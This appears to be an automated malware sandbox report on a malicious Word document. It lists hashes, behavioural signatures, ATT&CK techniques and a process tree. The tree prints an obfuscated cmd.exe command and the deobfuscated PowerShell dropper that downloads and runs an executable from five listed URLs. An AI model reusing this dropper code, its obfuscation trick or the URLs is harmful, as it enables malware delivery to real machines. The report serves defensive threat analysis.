d00ea82048586132558cad674d9094f495527202fccddcc84d30b365699839b3

General

Target

d00ea82048586132558cad674d9094f495527202fccddcc84d30b365699839b3.doc
Size

102KB
MD5

a8663064c108b10da2ff0398fb6f2118
SHA1

a15725c07c06c3b04aa4436db05391b6c15b3cc6
SHA256

d00ea82048586132558cad674d9094f495527202fccddcc84d30b365699839b3
SHA512

63b61b157bc491a8e23eda63f2c5120575e1c2263cfbad38b06806b3bdcbc2916b62e7a861d3917a0a3feceee7fba422c16c4136c5b268587fda2f8c9aa7e467

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://intraelectronics.com/9CBQqGip_YBdeLeOmn

exe.dropper

http://linkingphase.com/Ye09uJm_1TJzK_0

exe.dropper

http://radwomenbusinessowners.com/pnKAX_FAi9jc

exe.dropper

http://www.motoruitjes.nl/BrG_4Tb3uEk0N

exe.dropper

http://kantova.com/xRVVM3r_gsFZOEnE

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	4148	3236	cmd.exe	29

Blocklisted process makes network request 5 IoCs

flow	pid	Process
48	3640	powershell.exe
52	3640	powershell.exe
53	3640	powershell.exe
68	3640	powershell.exe
69	3640	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3236	WINWORD.EXE
3236	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3640	powershell.exe
3640	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3640	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
3236	WINWORD.EXE
3236	WINWORD.EXE

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
3236	WINWORD.EXE
3236	WINWORD.EXE
3236	WINWORD.EXE
3236	WINWORD.EXE
3236	WINWORD.EXE
3236	WINWORD.EXE
3236	WINWORD.EXE

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 3236 wrote to memory of 4240	3236	WINWORD.EXE	80
PID 3236 wrote to memory of 4240	3236	WINWORD.EXE	80
PID 3236 wrote to memory of 4148	3236	WINWORD.EXE	84
PID 3236 wrote to memory of 4148	3236	WINWORD.EXE	84
PID 4148 wrote to memory of 4492	4148	cmd.exe	85
PID 4148 wrote to memory of 4492	4148	cmd.exe	85
PID 4492 wrote to memory of 396	4492	cmd.exe	89
PID 4492 wrote to memory of 396	4492	cmd.exe	89
PID 4492 wrote to memory of 2968	4492	cmd.exe	88
PID 4492 wrote to memory of 2968	4492	cmd.exe	88
PID 2968 wrote to memory of 2744	2968	cmd.exe	87
PID 2968 wrote to memory of 2744	2968	cmd.exe	87
PID 2744 wrote to memory of 1960	2744	cmd.exe	86
PID 2744 wrote to memory of 1960	2744	cmd.exe	86
PID 2744 wrote to memory of 3924	2744	cmd.exe	90
PID 2744 wrote to memory of 3924	2744	cmd.exe	90
PID 2968 wrote to memory of 4108	2968	cmd.exe	91
PID 2968 wrote to memory of 4108	2968	cmd.exe	91
PID 4108 wrote to memory of 3640	4108	cmd.exe	92
PID 4108 wrote to memory of 3640	4108	cmd.exe	92

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\d00ea82048586132558cad674d9094f495527202fccddcc84d30b365699839b3.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3236
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:4240
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c %ProgrAMData:~0,1%%ProgRAmdATA:~9,2% /V /r "seT eW8=;'kollawerif'=tfetareneg$}}{hctac}};kaerb;'bmBG'=jnsamehcs$;phelbitapmoC$ metI-ekovnI{ )00008 eg- htgnel.)phelbitapmoC$ metI-teG(( fI;'chlanoigeR'=cvgnizylana$;)phelbitapmoC$ ,rnemil$(eliFdaolnwoD.dvtnuoccAnaoLotuA${yrt{)fznedooW$ ni rnemil$(hcaerof;'exe.'+poerihsdrofdeB$+'\'+cilbup:vne$=phelbitapmoC$;'nhecnailla'=izgnisrap$;'338' = poerihsdrofdeB$;'zlPCT'=ojaniloraChtuoS$;)'@'(tilpS.'EnEOZFsg_r3MVVRx/moc.avotnak//:ptth@N0kEu3bT4_GrB/ln.sejtiurotom.www//:ptth@cj9iAF_XAKnp/moc.srenwossenisubnemowdar//:ptth@0_KzJT1_mJu90eY/moc.esahpgniknil//:ptth@nmOeLedBY_piGqQBC9/moc.scinortceleartni//:ptth'=fznedooW$;tneilCbeW.teN tcejbo-wen=dvtnuoccAnaoLotuA$;'mcesiouqrut'=zlaniloraChtroN$ ll%1,3-~:PMET%h%1,4-~:EMANNOISSES%r%1,5~:CILBUP%wop&& fOr /L %0 IN ( 734 , -1 , 0 ) Do sEt El=!El!!eW8:~ %0, 1!& if %0 lss 1 echO !El:~ 4! | FOR /F "tokens=2 delims=wHF" %p IN ('ftype^^^|findstr mdFi')DO %p "
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:4148
- - C:\Windows\system32\cmd.exe
    CmD /V /r "seT eW8=;'kollawerif'=tfetareneg$}}{hctac}};kaerb;'bmBG'=jnsamehcs$;phelbitapmoC$ metI-ekovnI{ )00008 eg- htgnel.)phelbitapmoC$ metI-teG(( fI;'chlanoigeR'=cvgnizylana$;)phelbitapmoC$ ,rnemil$(eliFdaolnwoD.dvtnuoccAnaoLotuA${yrt{)fznedooW$ ni rnemil$(hcaerof;'exe.'+poerihsdrofdeB$+'\'+cilbup:vne$=phelbitapmoC$;'nhecnailla'=izgnisrap$;'338' = poerihsdrofdeB$;'zlPCT'=ojaniloraChtuoS$;)'@'(tilpS.'EnEOZFsg_r3MVVRx/moc.avotnak//:ptth@N0kEu3bT4_GrB/ln.sejtiurotom.www//:ptth@cj9iAF_XAKnp/moc.srenwossenisubnemowdar//:ptth@0_KzJT1_mJu90eY/moc.esahpgniknil//:ptth@nmOeLedBY_piGqQBC9/moc.scinortceleartni//:ptth'=fznedooW$;tneilCbeW.teN tcejbo-wen=dvtnuoccAnaoLotuA$;'mcesiouqrut'=zlaniloraChtroN$ ll%1,3-~:PMET%h%1,4-~:EMANNOISSES%r%1,5~:CILBUP%wop&& fOr /L %0 IN ( 734 , -1 , 0 ) Do sEt El=!El!!eW8:~ %0, 1!& if %0 lss 1 echO !El:~ 4! | FOR /F "tokens=2 delims=wHF" %p IN ('ftype^^^|findstr mdFi')DO %p "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4492
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" FOR /F "tokens=2 delims=wHF" %p IN ('ftype^|findstr mdFi') DO %p "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2968
    - - C:\Windows\system32\cmd.exe
        
        Cmd
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4108
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell $NorthCarolinalz='turquoisecm';$AutoLoanAccountvd=new-object Net.WebClient;$Woodenzf='http://intraelectronics.com/9CBQqGip_YBdeLeOmn@http://linkingphase.com/Ye09uJm_1TJzK_0@http://radwomenbusinessowners.com/pnKAX_FAi9jc@http://www.motoruitjes.nl/BrG_4Tb3uEk0N@http://kantova.com/xRVVM3r_gsFZOEnE'.Split('@');$SouthCarolinajo='TCPlz';$Bedfordshireop = '833';$parsingzi='alliancehn';$Compatiblehp=$env:public+'\'+$Bedfordshireop+'.exe';foreach($limenr in $Woodenzf){try{$AutoLoanAccountvd.DownloadFile($limenr, $Compatiblehp);$analyzingvc='Regionalhc';If ((Get-Item $Compatiblehp).length -ge 80000) {Invoke-Item $Compatiblehp;$schemasnj='GBmb';break;}}catch{}}$generateft='firewallok';
        6⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3640
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echO pow%PUBLIC:~5,1%r%SESSIONNAME:~-4,1%h%TEMP:~-3,1%ll $NorthCarolinalz='turquoisecm';$AutoLoanAccountvd=new-object Net.WebClient;$Woodenzf='http://intraelectronics.com/9CBQqGip_YBdeLeOmn@http://linkingphase.com/Ye09uJm_1TJzK_0@http://radwomenbusinessowners.com/pnKAX_FAi9jc@http://www.motoruitjes.nl/BrG_4Tb3uEk0N@http://kantova.com/xRVVM3r_gsFZOEnE'.Split('@');$SouthCarolinajo='TCPlz';$Bedfordshireop = '833';$parsingzi='alliancehn';$Compatiblehp=$env:public+'\'+$Bedfordshireop+'.exe';foreach($limenr in $Woodenzf){try{$AutoLoanAccountvd.DownloadFile($limenr, $Compatiblehp);$analyzingvc='Regionalhc';If ((Get-Item $Compatiblehp).length -ge 80000) {Invoke-Item $Compatiblehp;$schemasnj='GBmb';break;}}catch{}}$generateft='firewallok'; "
      4⤵
      PID:396

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" ftype"
1⤵
PID:1960

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ftype|findstr mdFi
1⤵
- Suspicious use of WriteProcessMemory
PID:2744
- C:\Windows\system32\findstr.exe
  findstr mdFi
  2⤵
  PID:3924

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/3236-136-0x00007FFAEEB80000-0x00007FFAEEB90000-memory.dmp

Filesize
64KB

Download
memory/3236-133-0x00007FFAF0D90000-0x00007FFAF0DA0000-memory.dmp

Filesize
64KB

Download
memory/3236-132-0x00007FFAF0D90000-0x00007FFAF0DA0000-memory.dmp

Filesize
64KB

Download
memory/3236-156-0x00007FFAF0D90000-0x00007FFAF0DA0000-memory.dmp

Filesize
64KB

Download
memory/3236-138-0x0000029FD9FA0000-0x0000029FD9FA4000-memory.dmp

Filesize
16KB

Download
memory/3236-155-0x00007FFAF0D90000-0x00007FFAF0DA0000-memory.dmp

Filesize
64KB

Download
memory/3236-154-0x00007FFAF0D90000-0x00007FFAF0DA0000-memory.dmp

Filesize
64KB

Download
memory/3236-130-0x00007FFAF0D90000-0x00007FFAF0DA0000-memory.dmp

Filesize
64KB

Download
memory/3236-131-0x00007FFAF0D90000-0x00007FFAF0DA0000-memory.dmp

Filesize
64KB

Download
memory/3236-153-0x00007FFAF0D90000-0x00007FFAF0DA0000-memory.dmp

Filesize
64KB

Download
memory/3236-134-0x00007FFAF0D90000-0x00007FFAF0DA0000-memory.dmp

Filesize
64KB

Download
memory/3236-135-0x00007FFAEEB80000-0x00007FFAEEB90000-memory.dmp

Filesize
64KB

Download
memory/3640-151-0x00007FFB04B10000-0x00007FFB055D1000-memory.dmp

Filesize
10.8MB

Download
memory/3640-148-0x0000010EC27A0000-0x0000010EC27C2000-memory.dmp

Filesize
136KB

Download
memory/3640-149-0x00007FFB04B10000-0x00007FFB055D1000-memory.dmp

Filesize
10.8MB

Download
memory/3640-150-0x00007FFB04B10000-0x00007FFB055D1000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads